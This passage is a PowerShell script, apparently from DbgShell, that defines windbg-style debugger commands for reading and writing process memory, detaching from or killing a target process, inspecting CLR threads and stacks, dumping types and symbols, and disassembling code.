about_MemoryCommands #> function d { [CmdletBinding()] [OutputType( [MS.Dbg.DbgMemory] )] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation()] # TODO: The workaround for INTf423c7e8 is to relax the parameter # type (to "object"). #[UInt64] $Address, [object] $Address, [Parameter( Mandatory = $false )] [Alias( 'c' )] [UInt32] $NumColumns ) process { try { # Length of 0 means "default size". Read-DbgMemory -Address $Address } finally { } } } # end d function script:_PromptForNewMemoryValue { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [UInt64] $Address, [Parameter( Mandatory = $true, Position = 1 )] [ScriptBlock] $WriteNewVal, [Parameter( Mandatory = $true, Position = 2 )] [int] $Stride, [Parameter( Mandatory = $true, Position = 3 )] [ScriptBlock] $ProduceOldVal ) process { try { [UInt64] $curAddr = $Address [string] $entry = '' do { if( $entry ) { $entry = $entry.Trim() if( !$entry ) { break } [UInt64] $ulong = 0 if( ![MS.Dbg.DbgProvider]::TryParseHexOrDecimalNumber( $entry, ([ref] $ulong) ) ) { Write-Error "Did not understand input: $entry" break } & $WriteNewVal $curAddr $ulong $curAddr += $Stride } $strOldVal = (& $ProduceOldVal $curAddr) + ' < ' $cs = (New-ColorString).Append( (Format-DbgAddress $curAddr) ). Append( ' ' ). AppendPushPopFg( [ConsoleColor]::DarkRed, $strOldVal ). AppendPushFg( [ConsoleColor]::Yellow ). Append( '> ' ) $host.UI.Write( $cs.ToString( $HostSupportsColor ) ) $entry = $host.UI.ReadLine() $host.UI.Write( ((New-ColorString).AppendPop()).ToString( $HostSupportsColor ) ) } while( $entry ) } finally { } } # end 'process' block } # end _PromptForNewMemoryValue() <# .Synopsis Similar to the windbg "eb" command ("Enter Bytes"): Writes byte values into memory. See important note about argument parsing in the full help description. .Description IMPORTANT NOTE ABOUT ARGUMENT PARSING: PowerShell parses numbers as decimal (base 10), but debugger users are accustomed to using hexadecimal (base 16). This can lead to problems. DbgShell uses some tricks to allow you to run this command very simalarly to how you would in a debugger. Notice that the default parameter set is the 'HexStringsParamSet', which can be bound positionally and can gather its value from remaining arguments. That lets you run commands like: eb $rsp 90 90 90 Just like you would in windbg. This command is equivalent: eb $rsp 0x90 0x90 0x90 However, say you have a byte[] in $myBytes. You might try something like: eb $rsp $myBytes # <-- BAD But that won't work (you'll get an error). If you are passing actual data objects (as opposed to string literals) on the command line, you need to use the -Value parameter set: eb $rsp -Value $myBytes Similarly for array literals, but remember that PowerShell parses the array literal, not the DbgShell command: eb $rsp @( 90, 90, 90 ) # <-- BAD, will fail with an error eb $rsp -Value @( 90, 90, 90 ) # <-- Will not fail, but those are 0n90! .Link Get-Help about_MemoryCommands #> function eb { [CmdletBinding( DefaultParameterSetName = 'HexStringsParamSet' )] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation()] # TODO: The workaround for INTf423c7e8 is to relax the parameter # type (to "object"). #[UInt64] $Address, [object] $Address, [Parameter( Mandatory = $false, Position = 1, ValueFromRemainingArguments = $true, ParameterSetName = 'HexStringsParamSet' )] [string[]] $HexStrings, [Parameter( Mandatory = $false, ParameterSetName = 'ObjectParamSet' )] [MS.Dbg.Commands.AddressTransformation( AllowList = $true )] [object] $Value ) process { try { $curAddr = $Address if( ($PSCmdlet.ParameterSetName -eq 'HexStringsParamSet') -and (($HexStrings -eq $null) -or ($HexStrings.Count -eq 0)) ) { # # Interactive mode: we'll allow the user to input one value at # a time, stopping at the first empty entry. # $writeNewVal = { param( $curAddr, $ulong ) $valueAs8bits = [MS.Dbg.DbgProvider]::ConvertToUInt8( $ulong ) Write-DbgMemory -Address $curAddr -Bytes $valueAs8bits } $produceOldVal = { param( $curAddr ) $curVal = (db $curAddr L1)[ 0 ] return (ZeroPad $curVal.ToString( 'x' ) 2) } _PromptForNewMemoryValue $curAddr -WriteNewVal $writeNewVal -Stride 1 -ProduceOldVal $produceOldVal return } if( $Value ) { # The [AddressTransformation()] attribute already did the work. $asUlongs = $Value } else { $asUlongs = [MS.Dbg.Commands.AddressTransformationAttribute]::Transform( $ExecutionContext, $null, # dbgProviderPath $true, # skipGlobalSymbolTest $false, # throwOnFailure $false, # dbgMemoryPassThru $true, # allowList ([object] $HexStrings) ) if( $null -eq $asUlongs ) { Write-Error "I didn't understand the input: $($HexStrings)" return } } foreach( $v in $asUlongs ) { # The AddressTransformation will give us back a UInt64 (or a UInt64[]). We # will need to convert it to 8 bits, which will throw an exception if # that's not possible (such as if the high bits are set). $valueAs8bits = [MS.Dbg.DbgProvider]::ConvertToUInt8( $v ) Write-DbgMemory -Address $curAddr -Bytes $valueAs8bits $curAddr += 1 } } finally { } } } # end eb <# .Synopsis Similar to the windbg "ed" command ("Enter DWORDs"): writes DWORD values into memory. See important note about argument parsing in the full help description. .Description IMPORTANT NOTE ABOUT ARGUMENT PARSING: PowerShell parses numbers as decimal (base 10), but debugger users are accustomed to using hexadecimal (base 16). This can lead to problems. DbgShell uses some tricks to allow you to run this command very simalarly to how you would in a debugger. Notice that the default parameter set is the 'HexStringsParamSet', which can be bound positionally and can gather its value from remaining arguments. That lets you run commands like: ed $rsp 90 90 90 Just like you would in windbg. This command is equivalent: ed $rsp 0x90 0x90 0x90 However, say you have a byte[] in $myBytes. You might try something like: ed $rsp $myBytes # <-- BAD But that won't work (you'll get an error). If you are passing actual data objects (as opposed to string literals) on the command line, you need to use the -Value parameter set: ed $rsp -Value $myBytes Similarly for array literals, but remember that PowerShell parses the array literal, not the DbgShell command: ed $rsp @( 90, 90, 90 ) # <-- BAD, will fail with an error ed $rsp -Value @( 90, 90, 90 ) # <-- Will not fail, but those are 0n90! .Link Get-Help about_MemoryCommands #> function ed { [CmdletBinding( DefaultParameterSetName = 'HexStringsParamSet' )] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation()] # TODO: The workaround for INTf423c7e8 is to relax the parameter # type (to "object"). #[UInt64] $Address, [object] $Address, [Parameter( Mandatory = $false, Position = 1, ValueFromRemainingArguments = $true, ParameterSetName = 'HexStringsParamSet' )] [string[]] $HexStrings, [Parameter( Mandatory = $false, ParameterSetName = 'ObjectParamSet' )] [MS.Dbg.Commands.AddressTransformation( AllowList = $true )] [object] $Value ) process { try { $curAddr = $Address if( ($PSCmdlet.ParameterSetName -eq 'HexStringsParamSet') -and (($HexStrings -eq $null) -or ($HexStrings.Count -eq 0)) ) { # # Interactive mode: we'll allow the user to input one value at # a time, stopping at the first empty entry. # $writeNewVal = { param( $curAddr, $ulong ) $valueAs32Bits = [MS.Dbg.DbgProvider]::ConvertToUInt32( $ulong ) Write-DbgMemory -Address $curAddr -DWords $valueAs32Bits } $produceOldVal = { param( $curAddr ) $curVal = (dd $curAddr L1)[ 0 ] return (ZeroPad $curVal.ToString( 'x' ) 8) } _PromptForNewMemoryValue $curAddr -WriteNewVal $writeNewVal -Stride 4 -ProduceOldVal $produceOldVal return } if( $Value ) { # The [AddressTransformation()] attribute already did the work. $asUlongs = $Value } else { $asUlongs = [MS.Dbg.Commands.AddressTransformationAttribute]::Transform( $ExecutionContext, $null, # dbgProviderPath $true, # skipGlobalSymbolTest $false, # throwOnFailure $false, # dbgMemoryPassThru $true, # allowList ([object] $HexStrings) ) if( $null -eq $asUlongs ) { Write-Error "I didn't understand the input: $($HexStrings)" return } } foreach( $v in $asUlongs ) { # The AddressTransformation will give us back a UInt64 (or a UInt64[]). We will # need to convert it to 32 bits, which will throw an exception if that's not # possible (such as if the high bits are set). $valueAs32bits = [MS.Dbg.DbgProvider]::ConvertToUInt32( $v ) Write-DbgMemory -Address $curAddr -DWords $valueAs32bits $curAddr += 4 } } finally { } } } # end ed <# .Synopsis Similar to the windbg "eq" command ("Enter QWORDs"): writes QWORD values into memory. See important note about argument parsing in the full help description. .Description IMPORTANT NOTE ABOUT ARGUMENT PARSING: PowerShell parses numbers as decimal (base 10), but debugger users are accustomed to using hexadecimal (base 16). This can lead to problems. DbgShell uses some tricks to allow you to run this command very simalarly to how you would in a debugger. Notice that the default parameter set is the 'HexStringsParamSet', which can be bound positionally and can gather its value from remaining arguments. That lets you run commands like: eq $rsp 90 90 90 Just like you would in windbg. This command is equivalent: eq $rsp 0x90 0x90 0x90 However, say you have a byte[] in $myBytes. You might try something like: eq $rsp $myBytes # <-- BAD But that won't work (you'll get an error). If you are passing actual data objects (as opposed to string literals) on the command line, you need to use the -Value parameter set: eq $rsp -Value $myBytes Similarly for array literals, but remember that PowerShell parses the array literal, not the DbgShell command: eq $rsp @( 90, 90, 90 ) # <-- BAD, will fail with an error eq $rsp -Value @( 90, 90, 90 ) # <-- Will not fail, but those are 0n90! .Link Get-Help about_MemoryCommands #> function eq { [CmdletBinding( DefaultParameterSetName = 'HexStringsParamSet' )] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation()] # TODO: The workaround for INTf423c7e8 is to relax the parameter # type (to "object"). #[UInt64] $Address, [object] $Address, [Parameter( Mandatory = $false, Position = 1, ValueFromRemainingArguments = $true, ParameterSetName = 'HexStringsParamSet' )] [string[]] $HexStrings, [Parameter( Mandatory = $false, ParameterSetName = 'ObjectParamSet' )] [MS.Dbg.Commands.AddressTransformation( AllowList = $true )] [object] $Value ) process { try { $curAddr = $Address if( ($PSCmdlet.ParameterSetName -eq 'HexStringsParamSet') -and (($HexStrings -eq $null) -or ($HexStrings.Count -eq 0)) ) { # # Interactive mode: we'll allow the user to input one value at # a time, stopping at the first empty entry. # $writeNewVal = { param( $curAddr, $ulong ) Write-DbgMemory -Address $curAddr -QWords $ulong } $produceOldVal = { param( $curAddr ) $curVal = (dq $curAddr L1)[ 0 ] return ([MS.Dbg.DbgProvider]::FormatUInt64( $curVal, $true )) } _PromptForNewMemoryValue $curAddr -WriteNewVal $writeNewVal -Stride 8 -ProduceOldVal $produceOldVal return } if( $Value ) { # The [AddressTransformation()] attribute already did the work. $asUlongs = $Value } else { $asUlongs = [MS.Dbg.Commands.AddressTransformationAttribute]::Transform( $ExecutionContext, $null, # dbgProviderPath $true, # skipGlobalSymbolTest $false, # throwOnFailure $false, # dbgMemoryPassThru $true, # allowList ([object] $HexStrings) ) if( $null -eq $asUlongs ) { Write-Error "I didn't understand the input: $($HexStrings)" return } } foreach( $v in $asUlongs ) { Write-DbgMemory -Address $curAddr -QWords $v $curAddr += 8 } } finally { } } } # end eq <# .Synopsis Similar to the windbg "ep" command ("Enter Pointers"): writes Pointer-sized values into memory. See important note about argument parsing in the full help description. .Description IMPORTANT NOTE ABOUT ARGUMENT PARSING: PowerShell parses numbers as decimal (base 10), but debugger users are accustomed to using hexadecimal (base 16). This can lead to problems. DbgShell uses some tricks to allow you to run this command very simalarly to how you would in a debugger. Notice that the default parameter set is the 'HexStringsParamSet', which can be bound positionally and can gather its value from remaining arguments. That lets you run commands like: ep $rsp 90 90 90 Just like you would in windbg. This command is equivalent: ep $rsp 0x90 0x90 0x90 However, say you have a byte[] in $myBytes. You might try something like: ep $rsp $myBytes # <-- BAD But that won't work (you'll get an error). If you are passing actual data objects (as opposed to string literals) on the command line, you need to use the -Value parameter set: ep $rsp -Value $myBytes Similarly for array literals, but remember that PowerShell parses the array literal, not the DbgShell command: ep $rsp @( 90, 90, 90 ) # <-- BAD, will fail with an error ep $rsp -Value @( 90, 90, 90 ) # <-- Will not fail, but those are 0n90! .Link Get-Help about_MemoryCommands #> function ep { [CmdletBinding( DefaultParameterSetName = 'HexStringsParamSet' )] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation()] # TODO: The workaround for INTf423c7e8 is to relax the parameter # type (to "object"). #[UInt64] $Address, [object] $Address, [Parameter( Mandatory = $false, Position = 1, ValueFromRemainingArguments = $true, ParameterSetName = 'HexStringsParamSet' )] [string[]] $HexStrings, [Parameter( Mandatory = $false, ParameterSetName = 'ObjectParamSet' )] [MS.Dbg.Commands.AddressTransformation( AllowList = $true )] [object] $Value ) process { try { if( $Debugger.TargetIs32Bit ) { ed @PSBoundParameters } else { eq @PSBoundParameters } } finally { } } } # end ep <# .Synopsis Detaches the debugger from the current process, similar to .detach, but leaves the target process suspended. .Link '.detach' '.kill' #> function .abandon() { Disconnect-DbgProcess -LeaveSuspended } <# .Synopsis Forcibly ends the current target process and detaches the debugger. .Link '.abandon' '.detach' #> function .kill() { Disconnect-DbgProcess -Kill } <# .Synopsis Disconnects the debugger from the current target process, letting it resume execution. .Link '.abandon' '.kill' #> function .detach() { Disconnect-DbgProcess } <# .SYNOPSIS Sets the state whether debuggers should unwind the stack solely based on frame pointers. (This is known to be useful on ARM/THUMB2.) .Link Get-ForceFramePointerStackWalks '.stkwalk_force_frame_pointer' #> function Set-ForceFramePointerStackWalks { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [bool] $Enabled ) begin { } end { } process { try { [string] $p = '1' if( !$Enabled ) { Write-Verbose "Disabling 'force frame pointer stackwalks'." $p = '0' } else { Write-Verbose "Enabling 'force frame pointer stackwalks'." } $output = Invoke-DbgEng ".stkwalk_force_frame_pointer $p" -OutputPrefix '' Write-Verbose $output } finally { } } } # end Set-ForceFramePointerStackWalks <# .SYNOPSIS Queries the state whether debuggers should unwind the stack solely based on frame pointers. .Link Set-ForceFramePointerStackWalks '.stkwalk_force_frame_pointer' #> function Get-ForceFramePointerStackWalks { [CmdletBinding()] [OutputType( 'System.Boolean' )] param() begin { } end { } process { try { $output = Invoke-DbgEng '.stkwalk_force_frame_pointer' -OutputPrefix '' Write-Verbose $output if( $output.Contains( 'disabled' ) ) { return $false } else { if( !$output.Contains( 'enabled' ) ) { throw "Unexpected output from .stkwalk_force_frame_pointer: $output" } return $true } } finally { } } } # end Get-ForceFramePointerStackWalks <# .SYNOPSIS Query or set the state whether debuggers should unwind the stack solely based on frame pointers. (This is known to be useful on ARM/THUMB2.) .Link Get-ForceFramePointerStackWalks Set-ForceFramePointerStackWalks #> function .stkwalk_force_frame_pointer { [CmdletBinding()] param( [Parameter( Mandatory = $false, Position = 0 )] [object] $Enabled ) begin { } end { } process { try { if( $null -eq $Enabled ) { Get-ForceFramePointerStackWalks } else { if( (0 -eq $Enabled) -or ('0' -eq $Enabled) -or ($false -eq $Enabled) ) { Set-ForceFramePointerStackWalks -Enabled $false } else { Set-ForceFramePointerStackWalks -Enabled $true } } } finally { } } } # end .stkwalk_force_frame_pointer <# .SYNOPSIS Gets ClrRuntime objects for the current process. (Note that there can be more than one CLR runtime loaded in a process.) #> function Get-ClrRuntime { [CmdletBinding()] [OutputType( [Microsoft.Diagnostics.Runtime.ClrRuntime] )] param() begin { } end { } process { try { $Debugger.GetCurrentTarget().ClrRuntimes } finally { } } } # end Get-ClrRuntime <# .SYNOPSIS Gets ClrAppDomain objects for the current process. #> function Get-ClrAppDomain { [CmdletBinding()] [OutputType( [Microsoft.Diagnostics.Runtime.ClrAppDomain] )] param( [Parameter( Mandatory = $false )] [switch] $IncludeSystemAndShared ) begin { } end { } process { try { foreach( $clrRuntime in Get-ClrRuntime ) { $clrRuntime.AppDomains if( $IncludeSystemAndShared ) { $clrRuntime.SystemDomain $clrRuntime.SharedDomain } } } finally { } } } # end Get-ClrAppDomain <# .SYNOPSIS Gets ClrThread objects for the current process. #> function Get-ClrThread { # N.B. these params must be kept in sync with Get-ClrStack [CmdletBinding( DefaultParameterSetName = 'NoParamSet' )] [OutputType( [Microsoft.Diagnostics.Runtime.ClrThread] )] param( [Parameter( Mandatory = $false, ParameterSetName = 'CurrentParamSet' )] [switch] $Current, [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true, ParameterSetName = 'ManagedIdParamSet' )] [int] $ManagedId, [Parameter( Mandatory = $true, Position = 0, ParameterSetName = 'OsIdParamSet' )] [MS.Dbg.Commands.AddressTransformationAttribute()] # These are usually provided in hex [int] $OsTid, [Parameter( Mandatory = $true, Position = 0, ParameterSetName = 'DbgEngIdParamSet' )] [int] $DbgEngId ) begin { } end { } process { try { $filter = { $true } if( $Current ) { $nativeThread = Get-DbgUModeThreadInfo -Current $filter = { $_.OSThreadId -eq $nativeThread.Tid } } elseif( $PSCmdlet.ParameterSetName -eq 'ManagedIdParamSet' ) { $filter = { $_.ManagedThreadId -eq $ManagedId } } elseif( $PSCmdlet.ParameterSetName -eq 'OsIdParamSet' ) { $nativeThread = Get-DbgUModeThreadInfo -SystemId $OsTid -ErrorAction Ignore if( $null -eq $nativeThread ) { Write-Warning "No current native thread with system ID $($OsTid)." # We don't return here. The CLR may still have a record of # a managed thread that corresponds to a now-gone OS # thread. } $filter = { $_.OSThreadId -eq $OsTid } } elseif( $PSCmdlet.ParameterSetName -eq 'DbgEngIdParamSet' ) { $nativeThread = Get-DbgUModeThreadInfo -DebuggerId $DbgEngId -ErrorAction Ignore if( $null -eq $nativeThread ) { Write-Error "No thread with debugger ID $($DbgEngId)." return } $filter = { $_.OSThreadId -eq $nativeThread.Tid } } foreach( $clrRuntime in Get-ClrRuntime ) { $clrRuntime.Threads | where $filter } } finally { } } } # end Get-ClrThread <# .SYNOPSIS Gets a set of ClrStackFrame objects for the current thread. (The default formatting for ClrStackFrame objects is a table format, so this will look like a managed stack trace.) #> function Get-ClrStack { # N.B. these params must be kept in sync with Get-ClrThread [CmdletBinding( DefaultParameterSetName = 'CurrentParamSet' )] [OutputType( [Microsoft.Diagnostics.Runtime.ClrStackFrame[]] )] param( [Parameter( Mandatory = $false, ParameterSetName = 'AllParamSet' )] [switch] $All, [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true, ParameterSetName = 'ManagedIdParamSet' )] [int] $ManagedId, [Parameter( Mandatory = $true, Position = 0, ParameterSetName = 'OsIdParamSet' )] [MS.Dbg.Commands.AddressTransformationAttribute()] # These are usually provided in hex [int] $OsTid, [Parameter( Mandatory = $true, Position = 0, ParameterSetName = 'DbgEngIdParamSet' )] [int] $DbgEngId ) begin { } end { } process { try { # We can't seem to access $PSBoundParameters when in a child pipeline, so we # need to save them to another variable here: $psb = $PSBoundParameters [ScriptBlock] $addtlPerFrameFilter = { $_ } # Rather than dot-source this scriptblock right here, we need to assign it to # a variable and then dot-source that. (Workaround for a PS bug, which caused # PS-native formatting data to get dropped and constantly reloaded.) $thisCrazySb = { if( $All ) { # This is pretty awkward, but... # # I'd like to keep the output of this function as just pure # ClrStackFrame objects. But if we are spitting out frames for # multiple threads in one go, they'll all get formatted into one giant # table, which doesn't make sense. # # What we want is for the frames to be grouped by thread (-GroupBy). # But there's trouble with that... # # 1) The ClrStackFrame objects don't have a thread property by # which they can be grouped. # # 2) We don't want the default table view for a single thread's # stack to have thread spew. # # I originally planned to get around this by: # # 1) attaching a thread property to each frame, and # # 2) attaching an object-specific default view which includes the # -GroupBy info. # # (ONLY for the case where we are showing stacks from multiple # threads.) # # But there was trouble with that: attaching stuff to a ClrStackFrame # object actually attaches it to the PSObject that wraps it, and the # PSObject for a given ClrStackFrame object "follows" it. That is, if # we later call Get-ClrStack for just a single thread, the frames will # /still/ have the extra stuff attached to them. We don't want that. # # One idea to get around the problem was to copy the PSObject # (PSObject.Copy()). But that only works if the wrapped object is # ICloneable, and ClrStackFrame isn't (and it didn't seem like a # reasonable request for ClrMd). # # Another idea to get around it was to wrap the ClrStackFrame in a # dynamic object. That would work fine for dynamic binding # scenarios... but the alternate formatting engine does not always do # dynamic binding (for instance, with property columns, it just uses # the column name to look up the property in the PSObject.Properties # collection). # # Another idea was to just create a new custom PSObject with # properties mirroring the ClrStackFrame. But that had a problem, too: # the formatting view for ClrStackFrame accesses some properties using # "method syntax" (like "$_.get_InstructionPointer()") (this is better # for exception behavior). # # So I've thrown in the towel and just created a separate class, # ClrStackFrameCloneable. # # Now that we have a different type, we don't even really need the # whole WithGroupBy/Set-AltFormatDefaultViewDef stuff; we could just # have a view that targets that type specifically. *sigh* But then I # wouldn't have any code to exercise those new formatting features. :/ # $fmt = (Get-AltTypeFormatEntry -TypeName 'Microsoft.Diagnostics.Runtime.ClrStackFrame' -FormatInfoType ([MS.Dbg.Formatting.AltTableViewDefinition])).ViewDefinitionInfo.ViewDefinition $fmt = $fmt.WithGroupBy( 'Thread', <# produceGroupByHeader #> { $_ | Format-AltSingleLine } ) $addtlPerFrameFilter = { # We don't want the added properties to be permanently "stuck" to # the ClrStackFrame objects, so we need to copy them. If # ClrStackFrame was ICloneable, we could just call PSObject.Copy() # on it, but I don't feel like trying to justify that change. $obj = New-Object 'MS.Dbg.ClrStackFrameCloneable' -Arg @( $_ ) Set-AltFormatDefaultViewDef -ForObject $obj -FormatInfo $fmt return $obj } Get-ClrThread } elseif( $PSCmdlet.ParameterSetName -eq 'CurrentParamSet' ) { Get-ClrThread -Current } else { Get-ClrThread @psb } } . $thisCrazySb | ForEach-Object { # <-- Pipe! $thread = $_ $_.StackTrace | ForEach-Object $addtlPerFrameFilter } } finally { } } } # end Get-ClrStack function Dbg: { Set-Location Dbg: } Set-Alias ide Invoke-DbgEng Set-Alias Get-Breakpoint Get-DbgBreakpoint Set-Alias Set-Breakpoint Set-DbgBreakpoint Set-Alias Remove-Breakpoint Remove-DbgBreakpoint Set-Alias Enable-Breakpoint Enable-DbgBreakpoint Set-Alias Disable-Breakpoint Disable-DbgBreakpoint Set-Alias bl Get-DbgBreakpoint Set-Alias be Enable-DbgBreakpoint Set-Alias bd Disable-DbgBreakpoint Set-Alias bc Remove-DbgBreakpoint Set-Alias bp Set-DbgBreakpoint Set-Alias Get-ModuleInfo Get-DbgModuleInfo Set-Alias lm Get-DbgModuleInfo Set-Alias Get-RegisterSet Get-DbgRegisterSet Set-Alias r Get-DbgRegisterSet -Option AllScope -Scope Local -Force # see comment about setting in "both scopes" Set-Alias r Get-DbgRegisterSet -Option AllScope -Scope Global -Force # see comment about setting in "both scopes" Set-Alias Get-Stack Get-DbgStack Set-Alias Mount-DumpFile Mount-DbgDumpFile Set-Alias -Name 'z' -Value Mount-DbgDumpFile Set-Alias -Name '-z' -Value Mount-DbgDumpFile Set-Alias dv Get-DbgLocalSymbol Set-Alias ln Get-DbgNearSymbol Set-Alias .dump Write-DbgDumpFile <# .SYNOPSIS Similar to the windbg command "dt", but with the augmented ability to deduce types for bare addresses when there is a vtable present. .DESCRIPTION #> function dt { [CmdletBinding( DefaultParameterSetName = 'JustTypeNameParamSet' )] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true, ParameterSetName = 'JustTypeNameParamSet' )] [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true, ParameterSetName = 'TypeNameAndAddressParamSet' )] [ValidateNotNullOrEmpty()] [object] $TypeNameOrAddress, [Parameter( Mandatory = $false, Position = 1, ParameterSetName = 'TypeNameAndAddressParamSet' )] [ValidateNotNullOrEmpty()] [object] $TypeNameOrAddress2, [Parameter( Mandatory = $false, ParameterSetName = 'JustTypeNameParamSet' )] [switch] $NoFollowTypeDefs, [Parameter( Mandatory = $false, ParameterSetName = 'JustTypeNameParamSet' )] [switch] $Raw, [Parameter( Mandatory = $false, ParameterSetName = 'JustTypeNameParamSet' )] [Alias( 'e' )] # like dt -e [Alias( 't' )] # like dt -t # TODO: What is the difference between "dt -t" and "dt -e"??? [switch] $TypesOnly ) begin { } end { } process { try { $dbgPath = $ExecutionContext.SessionState.Path.CurrentProviderLocation( [MS.Dbg.DbgProvider]::ProviderId ) # Windbg's 'dt' is very flexible--you can pass an address and a typename, or # a typename and an address (either order works); or a global symbol; or a # type name. Hence the craziness here. # # In addition to windbg dt's flexibility, I've also added the ability for dt # to deduce the type of a naked address--i.e. if you run "dt 123`456789ab", # and there is a vtable pointer there, we can figure out the type and dump the # object. if( !$TypeNameOrAddress2 ) { # # Check if it looks like an address first, else 0x123`456789ab looks like # a string to PS, and we'll end up trying to look for a type with that # "name" in every single module. # $addr = [MS.Dbg.Commands.AddressTransformationAttribute]::Transform( $null, # no way to get engineIntrinsics ... or does $ExecutionContext work? $dbgPath, $true, # skipGlobalSymbolTest $false, # throwOnFailure $TypeNameOrAddress ) if( $addr ) { # # This is the "please try to figure out the type for me" scenario. # if( $addr -isnot [UInt64] ) { throw "I expected a ulong..." } $udt = $Debugger.TryGuessTypeForAddress( $addr ) if( $null -ne $udt ) { Get-DbgSymbolValue -Address $addr -Type $udt } else { # # Maybe it's the address of a global? This seems like a stretch... # maybe it's not worth doing? # $nearSym = Get-DbgNearSymbol -Delta 0 -Address $addr if( $nearSym.IsExactMatch ) { $nearSym.Symbol.Value } else { Write-Error "Could not deduce type at address: $(Format-DbgAddress $addr)" } } return } # end if( $addr ) if( $TypeNameOrAddress -isnot [string] ) { throw "I don't know what to do with a $($TypeNameOrAddress.GetType().FullName)." } $sym = $null if( $Raw -or $NoFollowTypeDefs ) { Write-Verbose "-Raw and -NoFollowTypeDefs are only valid for dumping types." $TypesOnly = $true # it might already be set } if( !$TypesOnly ) { [MS.Dbg.GlobalSymbolCategory] $Category = 'Data,Function' # There could be members too (like foo!sym.blah.bar). That's not # supported by windbg, but I like it. [string[]] $tokens = $TypeNameOrAddress.Split( '.' ) # It could be a local symbol, global symbol, or a type. # # If it looks like it could be a local, we'll check locals first. # Because if somebody does "dt this", we don't want to start out by # loading all the symbols for all the modules so that we can look for # a global "this" in each one. if( $tokens[ 0 ].IndexOf( ([char] '!') ) -lt 0 ) { $sym = Get-DbgLocalSymbol -Name $tokens[ 0 ] if( $sym ) { $val = $sym.Value for( [int] $i = 1; $i -lt $tokens.Count; $i++ ) { $prop = $val.PSObject.Properties[ $tokens[ $i ] ] if( !$prop ) { # Or should this throw? Write-Error "No such '$($tokens[ $i ])' property on '$($tokens[ $i - 1 ])'." return } $val = $prop.Value } $val } } if( !$sym ) { # Maybe it's a global. $sym = Get-DbgSymbol -Name $tokens[ 0 ] -Category $category # N.B. I'm depending on the fact that Get-DbgSymbol does not yield an # error if the symbol was not found, even if there were no wildcards. if( $sym ) { # Note that I'm not just returning $sym.Value, since there could # be members included in $TypeNameOrAddress. Get-DbgSymbolValue -Name $TypeNameOrAddress -Category $category } } } # It could cover type names, too, if there is a wildcard involved. if( (!$sym) -or ([System.Management.Automation.WildcardPattern]::ContainsWildcardCharacters( $TypeNameOrAddress )) ) { Get-DbgTypeInfo -Raw:$Raw -NoFollowTypeDefs:$NoFollowTypeDefs -Name $TypeNameOrAddress } return } # end if( only one parameter ) # One is (should be) an address, and the other a type/typename. # # But which is which? $typeThing = $null $addr = [MS.Dbg.Commands.AddressTransformationAttribute]::Transform( $null, # no way to get engineIntrinsics $dbgPath, $true, # skipGlobalSymbolTest $false, # throwOnFailure $TypeNameOrAddress ) if( $addr ) { if( $addr -isnot [UInt64] ) { throw "I expected a ulong..." } $typeThing = $TypeNameOrAddress2 } else { $typeThing = $TypeNameOrAddress $addr = $TypeNameOrAddress2 } return Get-DbgSymbolValue -Address $addr -Type $typeThing } finally { } } # end 'process' block } # end function dt <# .SYNOPSIS Similar to the windbg command "x": gets information for local or global symbols. .DESCRIPTION "x" just forwards to Get-DbgLocalSymbol ("dv") or Get-DbgSymbol, depending on if there is a '!' in the $Name. #> function x { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [ValidateNotNullOrEmpty()] [string[]] $Name, [Parameter( Mandatory = $false, Position = 1 )] [MS.Dbg.GlobalSymbolCategory] $Category = [MS.Dbg.GlobalSymbolCategory]::All ) begin { } end { } process { try { foreach( $n in $Name ) { if( $n.Contains( ([char] '!') ) ) { Get-DbgSymbol -Name $n -Category $Category } else { if( $Category -ne 'All' ) { Write-Warning "The '-Category' parameter is not supported for local variables." } Get-DbgLocalSymbol -Name $n } } } finally { } } # end 'process' block } # end function x <# .Synopsis Like the windbg "u" command. #> function u { [CmdletBinding()] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation()] # TODO: The workaround for INTf423c7e8 is to relax the parameter # type (to "object"). #[UInt64] $Address, [object] $Address, [Parameter( Mandatory = $false, Position = 1 )] [MS.Dbg.Commands.RangeTransformation()] [UInt64] $CountOrEndAddress ) process { try { $disasmArgs = @{ 'Address' = $Address } if( $CountOrEndAddress.IsNegative ) { [System.Diagnostics.Debug]::Assert( $CountOrEndAddress.HasLengthPrefix ) $disasmArgs[ 'InstructionCount' ] = [int] (0 - $CountOrEndAddress) } elseif( $CountOrEndAddress -ne 0 ) { if( !$CountOrEndAddress.HasLengthPrefix ) { # Is it a count, or is it an end address? This is a pretty simple # heuristic, but I bet it mostly works. if( ($Address -ne 0) -and ($CountOrEndAddress -gt $Address) -and (($CountOrEndAddress - $Address) -lt 256kb) ) { $disasmArgs[ 'EndAddress' ] = $CountOrEndAddress } elseif( ($CountOrEndAddress -lt 256kb) -and ($CountOrEndAddress -ne 0) ) { $disasmArgs[ 'InstructionCount' ] = [int] $CountOrEndAddress } else { throw "The value '$($CountOrEndAddress.ToString( 'x' ))' is too large to be a valid range. If you really want that much, use the size override syntax (`"L?`")." } } else { $disasmArgs[ 'InstructionCount' ] = [int] $CountOrEndAddress } } # end if( $CountOrEndAddress -ne 0 ) Read-DbgDisassembly @disasmArgs } finally { } } } # end u <# .Synopsis Let's you type "u." instead of "u .". #> function u.() { u . } <# .Synopsis Let's you type "uf." instead of "uf .". #> function uf.() { uf . } <# .Synopsis Like the windbg "ub" command. #> function ub { [CmdletBinding()] param( [Parameter( Mandatory = 